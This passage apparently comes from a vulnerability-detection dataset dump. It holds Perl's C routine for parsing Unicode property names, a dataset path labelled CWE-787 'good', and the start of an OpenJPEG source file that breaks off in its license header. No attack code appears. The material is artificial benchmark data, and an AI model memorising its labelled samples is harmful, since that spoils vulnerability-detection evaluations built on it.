Size_t lookup_offset = 0; /* Used to ignore the first few characters of the normalized name in certain situations */ Size_t non_pkg_begin = 0; /* Offset of first byte in 'name' that isn't part of a package name */ bool could_be_user_defined = TRUE; /* ? Could this be a user-defined property rather than a Unicode one. */ SV * prop_definition = NULL; /* The returned definition of 'name' or NULL if an error. If it is an inversion list, it is the definition. Otherwise it is a string containing the fully qualified sub name of 'name' */ SV * fq_name = NULL; /* For user-defined properties, the fully qualified name */ bool invert_return = FALSE; /* ? Do we need to complement the result before returning it */ PERL_ARGS_ASSERT_PARSE_UNIPROP_STRING; /* The input will be normalized into 'lookup_name' */ Newx(lookup_name, name_len, char); SAVEFREEPV(lookup_name); /* Parse the input. */ for (i = 0; i < name_len; i++) { char cur = name[i]; /* Most of the characters in the input will be of this ilk, being parts * of a name */ if (isIDCONT_A(cur)) { /* Case differences are ignored. Our lookup routine assumes * everything is lowercase, so normalize to that */ if (isUPPER_A(cur)) { lookup_name[j++] = toLOWER_A(cur); continue; } if (cur == '_') { /* Don't include these in the normalized name */ continue; } lookup_name[j++] = cur; /* The first character in a user-defined name must be of this type. * */ if (i - non_pkg_begin == 0 && ! isIDFIRST_A(cur)) { could_be_user_defined = FALSE; } continue; } /* Here, the character is not something typically in a name, But these * two types of characters (and the '_' above) can be freely ignored in * most situations. Later it may turn out we shouldn't have ignored * them, and we have to reparse, but we don't have enough information * yet to make that decision */ if (cur == '-' || isSPACE_A(cur)) { could_be_user_defined = FALSE; continue; } /* An equals sign or single colon mark the end of the first part of * the property name */ if ( cur == '=' || (cur == ':' && (i >= name_len - 1 || name[i+1] != ':'))) { lookup_name[j++] = '='; /* Treat the colon as an '=' */ equals_pos = j; /* Note where it occurred in the input */ could_be_user_defined = FALSE; break; } /* Otherwise, this character is part of the name. */ lookup_name[j++] = cur; /* Here it isn't a single colon, so if it is a colon, it must be a * double colon */ if (cur == ':') { /* A double colon should be a package qualifier. We note its * position and continue. Note that one could have * pkg1::pkg2::...::foo * so that the position at the end of the loop will be just after * the final qualifier */ i++; non_pkg_begin = i + 1; lookup_name[j++] = ':'; } else { /* Only word chars (and '::') can be in a user-defined name */ could_be_user_defined = FALSE; } } /* End of parsing through the lhs of the property name (or all of it if no rhs) */ #define STRLENs(s) (sizeof("" s "") - 1) /* If there is a single package name 'utf8::', it is ambiguous. It could * be for a user-defined property, or it could be a Unicode property, as * all of them are considered to be for that package. For the purposes of * parsing the rest of the property, strip it off */ if (non_pkg_begin == STRLENs("utf8::") && memBEGINPs(name, name_len, "utf8::")) { lookup_name += STRLENs("utf8::"); j -= STRLENs("utf8::"); equals_pos -= STRLENs("utf8::"); } /* Here, we are either done with the whole property name, if it was simple; * or are positioned just after the '=' if it is compound. */ if (equals_pos >= 0) { assert(! stricter); /* We shouldn't have set this yet */ /* Space immediately after the '=' is ignored */ i++; for (; i < name_len; i++) { if (! isSPACE_A(name[i])) { break; } } /* Most punctuation after the equals indicates a subpattern, like * \p{foo=/bar/} */ if ( isPUNCT_A(name[i]) && name[i] != '-' && name[i] != '+' && name[i] != '_' && name[i] != '{') { /* Find the property. The table includes the equals sign, so we * use 'j' as-is */ table_index = match_uniprop((U8 *) lookup_name, j); if (table_index) { const char * const * prop_values = UNI_prop_value_ptrs[table_index]; SV * subpattern; Size_t subpattern_len; REGEXP * subpattern_re; char open = name[i++]; char close; const char * pos_in_brackets; bool escaped = 0; /* A backslash means the real delimitter is the next character. * */ if (open == '\\') { open = name[i++]; escaped = 1; } /* This data structure is constructed so that the matching * closing bracket is 3 past its matching opening. The second * set of closing is so that if the opening is something like * ']', the closing will be that as well. Something similar is * done in toke.c */ pos_in_brackets = strchr("([<)]>)]>", open); close = (pos_in_brackets) ? pos_in_brackets[3] : open; if ( i >= name_len || name[name_len-1] != close || (escaped && name[name_len-2] != '\\')) { sv_catpvs(msg, "Unicode property wildcard not terminated"); goto append_name_to_msg; } Perl_ck_warner_d(aTHX_ packWARN(WARN_EXPERIMENTAL__UNIPROP_WILDCARDS), "The Unicode property wildcards feature is experimental"); /* Now create and compile the wildcard subpattern. Use /iaa * because nothing outside of ASCII will match, and it the * property values should all match /i. Note that when the * pattern fails to compile, our added text to the user's * pattern will be displayed to the user, which is not so * desirable. */ subpattern_len = name_len - i - 1 - escaped; subpattern = Perl_newSVpvf(aTHX_ "(?iaa:%.*s)", (unsigned) subpattern_len, name + i); subpattern = sv_2mortal(subpattern); subpattern_re = re_compile(subpattern, 0); assert(subpattern_re); /* Should have died if didn't compile successfully */ /* For each legal property value, see if the supplied pattern * matches it. */ while (*prop_values) { const char * const entry = *prop_values; const Size_t len = strlen(entry); SV* entry_sv = newSVpvn_flags(entry, len, SVs_TEMP); if (pregexec(subpattern_re, (char *) entry, (char *) entry + len, (char *) entry, 0, entry_sv, 0)) { /* Here, matched. Add to the returned list */ Size_t total_len = j + len; SV * sub_invlist = NULL; char * this_string; /* We know this is a legal \p{property=value}. Call * the function to return the list of code points that * match it */ Newxz(this_string, total_len + 1, char); Copy(lookup_name, this_string, j, char); my_strlcat(this_string, entry, total_len + 1); SAVEFREEPV(this_string); sub_invlist = parse_uniprop_string(this_string, total_len, is_utf8, to_fold, runtime, deferrable, user_defined_ptr, msg, level + 1); _invlist_union(prop_definition, sub_invlist, &prop_definition); } prop_values++; /* Next iteration, look at next propvalue */ } /* End of looking through property values; (the data structure is terminated by a NULL ptr) */ SvREFCNT_dec_NN(subpattern_re); if (prop_definition) { return prop_definition; } sv_catpvs(msg, "No Unicode property value wildcard matches:"); goto append_name_to_msg; } /* Here's how khw thinks we should proceed to handle the properties * not yet done: Bidi Mirroring Glyph Bidi Paired Bracket Case Folding (both full and simple) Decomposition Mapping Equivalent Unified Ideograph Name Name Alias Lowercase Mapping (both full and simple) NFKC Case Fold Titlecase Mapping (both full and simple) Uppercase Mapping (both full and simple) * Move the part that looks at the property values into a perl * script, like utf8_heavy.pl is done. This makes things somewhat * easier, but most importantly, it avoids always adding all these * strings to the memory usage when the feature is little-used. * * The property values would all be concatenated into a single * string per property with each value on a separate line, and the * code point it's for on alternating lines. Then we match the * user's input pattern m//mg, without having to worry about their * uses of '^' and '$'. Only the values that aren't the default * would be in the strings. Code points would be in UTF-8. The * search pattern that we would construct would look like * (?: \n (code-point_re) \n (?aam: user-re ) \n ) * And so $1 would contain the code point that matched the user-re. * For properties where the default is the code point itself, such * as any of the case changing mappings, the string would otherwise * consist of all Unicode code points in UTF-8 strung together. * This would be impractical. So instead, examine their compiled * pattern, looking at the ssc. If none, reject the pattern as an * error. Otherwise run the pattern against every code point in * the ssc. The ssc is kind of like tr18's 3.9 Possible Match Sets * And it might be good to create an API to return the ssc. * * For the name properties, a new function could be created in * charnames which essentially does the same thing as above, * sharing Name.pl with the other charname functions. Don't know * about loose name matching, or algorithmically determined names. * Decomposition.pl similarly. * * It might be that a new pattern modifier would have to be * created, like /t for resTricTed, which changed the behavior of * some constructs in their subpattern, like \A. */ } /* End of is a wildcard subppattern */ /* Certain properties whose values are numeric need special handling. * They may optionally be prefixed by 'is'. Ignore that prefix for the * purposes of checking if this is one of those properties */ if (memBEGINPs(lookup_name, j, "is")) { lookup_offset = 2; } /* Then check if it is one of these specially-handled properties. The * possibilities are hard-coded because easier this way, and the list * is unlikely to change. * * All numeric value type properties are of this ilk, and are also * special in a different way later on. So find those first. There * are several numeric value type properties in the Unihan DB (which is * unlikely to be compiled with perl, but we handle it here in case it * does get compiled). They all end with 'numeric'. The interiors * aren't checked for the precise property. This would stop working if * a cjk property were to be created that ended with 'numeric' and * wasn't a numeric type */ is_nv_type = memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "numericvalue") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "nv") || ( memENDPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "numeric") && ( memBEGINPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "cjk") || memBEGINPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "k"))); if ( is_nv_type || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "canonicalcombiningclass") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "ccc") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "age") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "in") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "presentin")) { unsigned int k; /* Since the stuff after the '=' is a number, we can't throw away * '-' willy-nilly, as those could be a minus sign. Other stricter * rules also apply. However, these properties all can have the * rhs not be a number, in which case they contain at least one * alphabetic. In those cases, the stricter rules don't apply. * But the numeric type properties can have the alphas [Ee] to * signify an exponent, and it is still a number with stricter * rules. So look for an alpha that signifies not-strict */ stricter = TRUE; for (k = i; k < name_len; k++) { if ( isALPHA_A(name[k]) && (! is_nv_type || ! isALPHA_FOLD_EQ(name[k], 'E'))) { stricter = FALSE; break; } } } if (stricter) { /* A number may have a leading '+' or '-'. The latter is retained * */ if (name[i] == '+') { i++; } else if (name[i] == '-') { lookup_name[j++] = '-'; i++; } /* Skip leading zeros including single underscores separating the * zeros, or between the final leading zero and the first other * digit */ for (; i < name_len - 1; i++) { if ( name[i] != '0' && (name[i] != '_' || ! isDIGIT_A(name[i+1]))) { break; } } } } else { /* No '=' */ /* Only a few properties without an '=' should be parsed with stricter * rules. The list is unlikely to change. */ if ( memBEGINPs(lookup_name, j, "perl") && memNEs(lookup_name + 4, j - 4, "space") && memNEs(lookup_name + 4, j - 4, "word")) { stricter = TRUE; /* We set the inputs back to 0 and the code below will reparse, * using strict */ i = j = 0; } } /* Here, we have either finished the property, or are positioned to parse * the remainder, and we know if stricter rules apply. Finish out, if not * already done */ for (; i < name_len; i++) { char cur = name[i]; /* In all instances, case differences are ignored, and we normalize to * lowercase */ if (isUPPER_A(cur)) { lookup_name[j++] = toLOWER(cur); continue; } /* An underscore is skipped, but not under strict rules unless it * separates two digits */ if (cur == '_') { if ( stricter && ( i == 0 || (int) i == equals_pos || i == name_len- 1 || ! isDIGIT_A(name[i-1]) || ! isDIGIT_A(name[i+1]))) { lookup_name[j++] = '_'; } continue; } /* Hyphens are skipped except under strict */ if (cur == '-' && ! stricter) { continue; } /* XXX Bug in documentation. It says white space skipped adjacent to * non-word char. Maybe we should, but shouldn't skip it next to a dot * in a number */ if (isSPACE_A(cur) && ! stricter) { continue; } lookup_name[j++] = cur; /* Unless this is a non-trailing slash, we are done with it */ if (i >= name_len - 1 || cur != '/') { continue; } slash_pos = j; /* A slash in the 'numeric value' property indicates that what follows * is a denominator. It can have a leading '+' and '0's that should be * skipped. But we have never allowed a negative denominator, so treat * a minus like every other character. (No need to rule out a second * '/', as that won't match anything anyway */ if (is_nv_type) { i++; if (i < name_len && name[i] == '+') { i++; } /* Skip leading zeros including underscores separating digits */ for (; i < name_len - 1; i++) { if ( name[i] != '0' && (name[i] != '_' || ! isDIGIT_A(name[i+1]))) { break; } } /* Store the first real character in the denominator */ lookup_name[j++] = name[i]; } } /* Here are completely done parsing the input 'name', and 'lookup_name' * contains a copy, normalized. * * This special case is grandfathered in: 'L_' and 'GC=L_' are accepted and * different from without the underscores. */ if ( ( UNLIKELY(memEQs(lookup_name, j, "l")) || UNLIKELY(memEQs(lookup_name, j, "gc=l"))) && UNLIKELY(name[name_len-1] == '_')) { lookup_name[j++] = '&'; } /* If the original input began with 'In' or 'Is', it could be a subroutine * call to a user-defined property instead of a Unicode property name. */ if ( non_pkg_begin + name_len > 2 && name[non_pkg_begin+0] == 'I' && (name[non_pkg_begin+1] == 'n' || name[non_pkg_begin+1] == 's')) { starts_with_In_or_Is = TRUE; } else { could_be_user_defined = FALSE; } if (could_be_user_defined) { CV* user_sub; /* If the user defined property returns the empty string, it could * easily be because the pattern is being compiled before the data it * actually needs to compile is available. This could be argued to be * a bug in the perl code, but this is a change of behavior for Perl, * so we handle it. This means that intentionally returning nothing * will not be resolved until runtime */ bool empty_return = FALSE; /* Here, the name could be for a user defined property, which are * implemented as subs. */ user_sub = get_cvn_flags(name, name_len, 0); if (user_sub) { const char insecure[] = "Insecure user-defined property"; /* Here, there is a sub by the correct name. Normally we call it * to get the property definition */ dSP; SV * user_sub_sv = MUTABLE_SV(user_sub); SV * error; /* Any error returned by calling 'user_sub' */ SV * key; /* The key into the hash of user defined sub names */ SV * placeholder; SV ** saved_user_prop_ptr; /* Hash entry for this property */ /* How many times to retry when another thread is in the middle of * expanding the same definition we want */ PERL_INT_FAST8_T retry_countdown = 10; DECLARATION_FOR_GLOBAL_CONTEXT; /* If we get here, we know this property is user-defined */ *user_defined_ptr = TRUE; /* We refuse to call a potentially tainted subroutine; returning an * error instead */ if (TAINT_get) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvn(msg, insecure, sizeof(insecure) - 1); goto append_name_to_msg; } /* In principal, we only call each subroutine property definition * once during the life of the program. This guarantees that the * property definition never changes. The results of the single * sub call are stored in a hash, which is used instead for future * references to this property. The property definition is thus * immutable. But, to allow the user to have a /i-dependent * definition, we call the sub once for non-/i, and once for /i, * should the need arise, passing the /i status as a parameter. * * We start by constructing the hash key name, consisting of the * fully qualified subroutine name, preceded by the /i status, so * that there is a key for /i and a different key for non-/i */ key = newSVpvn(((to_fold) ? "1" : "0"), 1); fq_name = S_get_fq_name(aTHX_ name, name_len, is_utf8, non_pkg_begin != 0); sv_catsv(key, fq_name); sv_2mortal(key); /* We only call the sub once throughout the life of the program * (with the /i, non-/i exception noted above). That means the * hash must be global and accessible to all threads. It is * created at program start-up, before any threads are created, so * is accessible to all children. But this creates some * complications. * * 1) The keys can't be shared, or else problems arise; sharing is * turned off at hash creation time * 2) All SVs in it are there for the remainder of the life of the * program, and must be created in the same interpreter context * as the hash, or else they will be freed from the wrong pool * at global destruction time. This is handled by switching to * the hash's context to create each SV going into it, and then * immediately switching back * 3) All accesses to the hash must be controlled by a mutex, to * prevent two threads from getting an unstable state should * they simultaneously be accessing it. The code below is * crafted so that the mutex is locked whenever there is an * access and unlocked only when the next stable state is * achieved. * * The hash stores either the definition of the property if it was * valid, or, if invalid, the error message that was raised. We * use the type of SV to distinguish. * * There's also the need to guard against the definition expansion * from infinitely recursing. This is handled by storing the aTHX * of the expanding thread during the expansion. Again the SV type * is used to distinguish this from the other two cases. If we * come to here and the hash entry for this property is our aTHX, * it means we have recursed, and the code assumes that we would * infinitely recurse, so instead stops and raises an error. * (Any recursion has always been treated as infinite recursion in * this feature.) * * If instead, the entry is for a different aTHX, it means that * that thread has gotten here first, and hasn't finished expanding * the definition yet. We just have to wait until it is done. We * sleep and retry a few times, returning an error if the other * thread doesn't complete. */ re_fetch: USER_PROP_MUTEX_LOCK; /* If we have an entry for this key, the subroutine has already * been called once with this /i status. */ saved_user_prop_ptr = hv_fetch(PL_user_def_props, SvPVX(key), SvCUR(key), 0); if (saved_user_prop_ptr) { /* If the saved result is an inversion list, it is the valid * definition of this property */ if (is_invlist(*saved_user_prop_ptr)) { prop_definition = *saved_user_prop_ptr; /* The SV in the hash won't be removed until global * destruction, so it is stable and we can unlock */ USER_PROP_MUTEX_UNLOCK; /* The caller shouldn't try to free this SV */ return prop_definition; } /* Otherwise, if it is a string, it is the error message * that was returned when we first tried to evaluate this * property. Fail, and append the message */ if (SvPOK(*saved_user_prop_ptr)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catsv(msg, *saved_user_prop_ptr); /* The SV in the hash won't be removed until global * destruction, so it is stable and we can unlock */ USER_PROP_MUTEX_UNLOCK; return NULL; } assert(SvIOK(*saved_user_prop_ptr)); /* Here, we have an unstable entry in the hash. Either another * thread is in the middle of expanding the property's * definition, or we are ourselves recursing. We use the aTHX * in it to distinguish */ if (SvIV(*saved_user_prop_ptr) != PTR2IV(CUR_CONTEXT)) { /* Here, it's another thread doing the expanding. We've * looked as much as we are going to at the contents of the * hash entry. It's safe to unlock. */ USER_PROP_MUTEX_UNLOCK; /* Retry a few times */ if (retry_countdown-- > 0) { PerlProc_sleep(1); goto re_fetch; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Timeout waiting for another thread to " "define"); goto append_name_to_msg; } /* Here, we are recursing; don't dig any deeper */ USER_PROP_MUTEX_UNLOCK; if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Infinite recursion in user-defined property"); goto append_name_to_msg; } /* Here, this thread has exclusive control, and there is no entry * for this property in the hash. So we have the go ahead to * expand the definition ourselves. */ PUSHSTACKi(PERLSI_MAGIC); ENTER; /* Create a temporary placeholder in the hash to detect recursion * */ SWITCH_TO_GLOBAL_CONTEXT; placeholder= newSVuv(PTR2IV(ORIGINAL_CONTEXT)); (void) hv_store_ent(PL_user_def_props, key, placeholder, 0); RESTORE_CONTEXT; /* Now that we have a placeholder, we can let other threads * continue */ USER_PROP_MUTEX_UNLOCK; /* Make sure the placeholder always gets destroyed */ SAVEDESTRUCTOR_X(S_delete_recursion_entry, SvPVX(key)); PUSHMARK(SP); SAVETMPS; /* Call the user's function, with the /i status as a parameter. * Note that we have gone to a lot of trouble to keep this call * from being within the locked mutex region. */ XPUSHs(boolSV(to_fold)); PUTBACK; /* The following block was taken from swash_init(). Presumably * they apply to here as well, though we no longer use a swash -- * khw */ SAVEHINTS(); save_re_context(); /* We might get here via a subroutine signature which uses a utf8 * parameter name, at which point PL_subname will have been set * but not yet used. */ save_item(PL_subname); (void) call_sv(user_sub_sv, G_EVAL|G_SCALAR); SPAGAIN; error = ERRSV; if (TAINT_get || SvTRUE(error)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); if (SvTRUE(error)) { sv_catpvs(msg, "Error \""); sv_catsv(msg, error); sv_catpvs(msg, "\""); } if (TAINT_get) { if (SvTRUE(error)) sv_catpvs(msg, "; "); sv_catpvn(msg, insecure, sizeof(insecure) - 1); } if (name_len > 0) { sv_catpvs(msg, " in expansion of "); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); } (void) POPs; prop_definition = NULL; } else { /* G_SCALAR guarantees a single return value */ SV * contents = POPs; /* The contents is supposed to be the expansion of the property * definition. If the definition is deferrable, and we got an * empty string back, set a flag to later defer it (after clean * up below). */ if ( deferrable && (! SvPOK(contents) || SvCUR(contents) == 0)) { empty_return = TRUE; } else { /* Otherwise, call a function to check for valid syntax, and handle it */ prop_definition = handle_user_defined_property( name, name_len, is_utf8, to_fold, runtime, deferrable, contents, user_defined_ptr, msg, level); } } /* Here, we have the results of the expansion. Delete the * placeholder, and if the definition is now known, replace it with * that definition. We need exclusive access to the hash, and we * can't let anyone else in, between when we delete the placeholder * and add the permanent entry */ USER_PROP_MUTEX_LOCK; S_delete_recursion_entry(aTHX_ SvPVX(key)); if ( ! empty_return && (! prop_definition || is_invlist(prop_definition))) { /* If we got success we use the inversion list defining the * property; otherwise use the error message */ SWITCH_TO_GLOBAL_CONTEXT; (void) hv_store_ent(PL_user_def_props, key, ((prop_definition) ? newSVsv(prop_definition) : newSVsv(msg)), 0); RESTORE_CONTEXT; } /* All done, and the hash now has a permanent entry for this * property. Give up exclusive control */ USER_PROP_MUTEX_UNLOCK; FREETMPS; LEAVE; POPSTACK; if (empty_return) { goto definition_deferred; } if (prop_definition) { /* If the definition is for something not known at this time, * we toss it, and go return the main property name, as that's * the one the user will be aware of */ if (! is_invlist(prop_definition)) { SvREFCNT_dec_NN(prop_definition); goto definition_deferred; } sv_2mortal(prop_definition); } /* And return */ return prop_definition; } /* End of calling the subroutine for the user-defined property */ } /* End of it could be a user-defined property */ /* Here it wasn't a user-defined property that is known at this time. See * if it is a Unicode property */ lookup_len = j; /* This is a more mnemonic name than 'j' */ /* Get the index into our pointer table of the inversion list corresponding * to the property */ table_index = match_uniprop((U8 *) lookup_name, lookup_len); /* If it didn't find the property ... */ if (table_index == 0) { /* Try again stripping off any initial 'In' or 'Is' */ if (starts_with_In_or_Is) { lookup_name += 2; lookup_len -= 2; equals_pos -= 2; slash_pos -= 2; table_index = match_uniprop((U8 *) lookup_name, lookup_len); } if (table_index == 0) { char * canonical; /* Here, we didn't find it. If not a numeric type property, and * can't be a user-defined one, it isn't a legal property */ if (! is_nv_type) { if (! could_be_user_defined) { goto failed; } /* Here, the property name is legal as a user-defined one. At * compile time, it might just be that the subroutine for that * property hasn't been encountered yet, but at runtime, it's * an error to try to use an undefined one */ if (! deferrable) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Unknown user-defined property name"); goto append_name_to_msg; } goto definition_deferred; } /* End of isn't a numeric type property */ /* The numeric type properties need more work to decide. What we * do is make sure we have the number in canonical form and look * that up. */ if (slash_pos < 0) { /* No slash */ /* When it isn't a rational, take the input, convert it to a * NV, then create a canonical string representation of that * NV. */ NV value; SSize_t value_len = lookup_len - equals_pos; /* Get the value */ if ( value_len <= 0 || my_atof3(lookup_name + equals_pos, &value, value_len) != lookup_name + lookup_len) { goto failed; } /* If the value is an integer, the canonical value is integral * */ if (Perl_ceil(value) == value) { canonical = Perl_form(aTHX_ "%.*s%.0" NVff, equals_pos, lookup_name, value); } else { /* Otherwise, it is %e with a known precision */ char * exp_ptr; canonical = Perl_form(aTHX_ "%.*s%.*" NVef, equals_pos, lookup_name, PL_E_FORMAT_PRECISION, value); /* The exponent generated is expecting two digits, whereas * %e on some systems will generate three. Remove leading * zeros in excess of 2 from the exponent. We start * looking for them after the '=' */ exp_ptr = strchr(canonical + equals_pos, 'e'); if (exp_ptr) { char * cur_ptr = exp_ptr + 2; /* past the 'e[+-]' */ SSize_t excess_exponent_len = strlen(cur_ptr) - 2; assert(*(cur_ptr - 1) == '-' || *(cur_ptr - 1) == '+'); if (excess_exponent_len > 0) { SSize_t leading_zeros = strspn(cur_ptr, "0"); SSize_t excess_leading_zeros = MIN(leading_zeros, excess_exponent_len); if (excess_leading_zeros > 0) { Move(cur_ptr + excess_leading_zeros, cur_ptr, strlen(cur_ptr) - excess_leading_zeros + 1, /* Copy the NUL as well */ char); } } } } } else { /* Has a slash. Create a rational in canonical form */ UV numerator, denominator, gcd, trial; const char * end_ptr; const char * sign = ""; /* We can't just find the numerator, denominator, and do the * division, then use the method above, because that is * inexact. And the input could be a rational that is within * epsilon (given our precision) of a valid rational, and would * then incorrectly compare valid. * * We're only interested in the part after the '=' */ const char * this_lookup_name = lookup_name + equals_pos; lookup_len -= equals_pos; slash_pos -= equals_pos; /* Handle any leading minus */ if (this_lookup_name[0] == '-') { sign = "-"; this_lookup_name++; lookup_len--; slash_pos--; } /* Convert the numerator to numeric */ end_ptr = this_lookup_name + slash_pos; if (! grok_atoUV(this_lookup_name, &numerator, &end_ptr)) { goto failed; } /* It better have included all characters before the slash */ if (*end_ptr != '/') { goto failed; } /* Set to look at just the denominator */ this_lookup_name += slash_pos; lookup_len -= slash_pos; end_ptr = this_lookup_name + lookup_len; /* Convert the denominator to numeric */ if (! grok_atoUV(this_lookup_name, &denominator, &end_ptr)) { goto failed; } /* It better be the rest of the characters, and don't divide by * 0 */ if ( end_ptr != this_lookup_name + lookup_len || denominator == 0) { goto failed; } /* Get the greatest common denominator using http://en.wikipedia.org/wiki/Euclidean_algorithm */ gcd = numerator; trial = denominator; while (trial != 0) { UV temp = trial; trial = gcd % trial; gcd = temp; } /* If already in lowest possible terms, we have already tried * looking this up */ if (gcd == 1) { goto failed; } /* Reduce the rational, which should put it in canonical form * */ numerator /= gcd; denominator /= gcd; canonical = Perl_form(aTHX_ "%.*s%s%" UVuf "/%" UVuf, equals_pos, lookup_name, sign, numerator, denominator); } /* Here, we have the number in canonical form. Try that */ table_index = match_uniprop((U8 *) canonical, strlen(canonical)); if (table_index == 0) { goto failed; } } /* End of still didn't find the property in our table */ } /* End of didn't find the property in our table */ /* Here, we have a non-zero return, which is an index into a table of ptrs. * A negative return signifies that the real index is the absolute value, * but the result needs to be inverted */ if (table_index < 0) { invert_return = TRUE; table_index = -table_index; } /* Out-of band indices indicate a deprecated property. The proper index is * modulo it with the table size. And dividing by the table size yields * an offset into a table constructed by regen/mk_invlists.pl to contain * the corresponding warning message */ if (table_index > MAX_UNI_KEYWORD_INDEX) { Size_t warning_offset = table_index / MAX_UNI_KEYWORD_INDEX; table_index %= MAX_UNI_KEYWORD_INDEX; Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), "Use of '%.*s' in \\p{} or \\P{} is deprecated because: %s", (int) name_len, name, deprecated_property_msgs[warning_offset]); } /* In a few properties, a different property is used under /i. These are * unlikely to change, so are hard-coded here. */ if (to_fold) { if ( table_index == UNI_XPOSIXUPPER || table_index == UNI_XPOSIXLOWER || table_index == UNI_TITLE) { table_index = UNI_CASED; } else if ( table_index == UNI_UPPERCASELETTER || table_index == UNI_LOWERCASELETTER # ifdef UNI_TITLECASELETTER /* Missing from early Unicodes */ || table_index == UNI_TITLECASELETTER # endif ) { table_index = UNI_CASEDLETTER; } else if ( table_index == UNI_POSIXUPPER || table_index == UNI_POSIXLOWER) { table_index = UNI_POSIXALPHA; } } /* Create and return the inversion list */ prop_definition =_new_invlist_C_array(uni_prop_ptrs[table_index]); sv_2mortal(prop_definition); /* See if there is a private use override to add to this definition */ { COPHH * hinthash = (IN_PERL_COMPILETIME) ? CopHINTHASH_get(&PL_compiling) : CopHINTHASH_get(PL_curcop); SV * pu_overrides = cophh_fetch_pv(hinthash, "private_use", 0, 0); if (UNLIKELY(pu_overrides && SvPOK(pu_overrides))) { /* See if there is an element in the hints hash for this table */ SV * pu_lookup = Perl_newSVpvf(aTHX_ "%d=", table_index); const char * pos = strstr(SvPVX(pu_overrides), SvPVX(pu_lookup)); if (pos) { bool dummy; SV * pu_definition; SV * pu_invlist; SV * expanded_prop_definition = sv_2mortal(invlist_clone(prop_definition, NULL)); /* If so, it's definition is the string from here to the next * \a character. And its format is the same as a user-defined * property */ pos += SvCUR(pu_lookup); pu_definition = newSVpvn(pos, strchr(pos, '\a') - pos); pu_invlist = handle_user_defined_property(lookup_name, lookup_len, 0, /* Not UTF-8 */ 0, /* Not folded */ runtime, deferrable, pu_definition, &dummy, msg, level); if (TAINT_get) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Insecure private-use override"); goto append_name_to_msg; } /* For now, as a safety measure, make sure that it doesn't * override non-private use code points */ _invlist_intersection(pu_invlist, PL_Private_Use, &pu_invlist); /* Add it to the list to be returned */ _invlist_union(prop_definition, pu_invlist, &expanded_prop_definition); prop_definition = expanded_prop_definition; Perl_ck_warner_d(aTHX_ packWARN(WARN_EXPERIMENTAL__PRIVATE_USE), "The private_use feature is experimental"); } } } if (invert_return) { _invlist_invert(prop_definition); } return prop_definition; failed: if (non_pkg_begin != 0) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Illegal user-defined property name"); } else { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Can't find Unicode property definition"); } /* FALLTHROUGH */ append_name_to_msg: { const char * prefix = (runtime && level == 0) ? " \\p{" : " \""; const char * suffix = (runtime && level == 0) ? "}" : "\""; sv_catpv(msg, prefix); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); sv_catpv(msg, suffix); } return NULL; definition_deferred: /* Here it could yet to be defined, so defer evaluation of this * until its needed at runtime. We need the fully qualified property name * to avoid ambiguity, and a trailing newline */ if (! fq_name) { fq_name = S_get_fq_name(aTHX_ name, name_len, is_utf8, non_pkg_begin != 0 /* If has "::" */ ); } sv_catpvs(fq_name, "\n"); *user_defined_ptr = TRUE; return fq_name; } #endif /* * ex: set ts=8 sts=4 sw=4 et: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_3873_0
crossvul-cpp_data_good_5273_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2006-2007, Parvatha Elangovan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_includes.h" /** @defgroup PI PI - Implementation of a packet 